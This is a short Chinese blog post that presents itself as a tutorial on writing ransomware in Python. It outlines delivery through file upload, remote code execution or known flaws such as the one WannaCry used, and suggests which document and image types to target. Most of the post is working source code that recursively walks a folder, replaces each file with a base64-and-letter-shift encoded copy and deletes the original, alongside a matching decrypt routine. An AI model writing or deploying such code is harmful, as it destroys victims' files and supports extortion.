大家好,本文将围绕python脚本会被检测吗展开说明,python编写勒索病毒是一个很多人都想弄明白的事情,想搞清楚勒索病毒代码python需要先了解以下几个事情。

python实现勒索病毒
勒索病毒一种:将文件以base64字符串形式读取,然后对字符串进行加密(加密方式任取 只要可以解密即可)
问题:怎么在目标主机运行勒索病毒?
首先可以理由文件上传、远程代码执行、一些已知的漏洞等
例如著名的wannacry勒索病毒基于Windows系统永恒之蓝的漏洞
# 对一个文件进行勒索,怎么对文件夹进行勒索? --> os模块下的遍历目录 listdir
# 联系:对某些目录下关键文件:word xls docx ppt pptx rar jpg png txt
import base64,os
def encrypt(filepath):
with open(filepath,mode='rb') as file:
data = file.read()
source = base64.b64encode(data).decode()
# 对字符串加密 ascii码右移5位
result=''
for i in source:
if ord(i) in range(97,123) or ord(i) in range(65,91):
result+=chr(ord(i)+5)
else:
result+=i
os.remove(filepath)
with open(filepath+'.enc',mode='w') as file:
file.write(result)
def decrypt(filepath):
with open(filepath,mode='r') as file:
data = file.read()
result=''
for i in data:
if ord(i) in range(102, 128) or ord(i) in range(70, 96):
result += chr(ord(i) - 5)
else:
result += i
result = base64.b64decode(result)
os.remove(filepath)
with open(filepath.replace('.enc',''),mode='wb') as file:
file.write(result)
def dir_crypt(dirpath,type='encode'):
dirs = os.listdir(dirpath)
for filename in dirs:
filename = os.path.join(dirpath, filename)
if os.path.isdir(filename):
dir_crypt(filename,type)
else:
if type=='encode':
encrypt(filename)
elif type=='decode':
decrypt(filename)
else:
raise Exception("type error")
if __name__ == '__main__':
# encrypt('./test.png')
# decrypt('./test.png.enc')
# dir_crypt('.\\name')
dir_crypt('.\\name',type='decode')
本文详细介绍了如何使用Python编写勒索病毒,包括读取文件、加密(如Base64编码并右移ASCII码),以及利用os模块遍历目录进行文件加密或解密。讨论了如何在目标主机上运行勒索病毒,以及Wannacry勒索病毒利用Windows系统漏洞的例子。
1430

被折叠的 条评论
为什么被折叠?



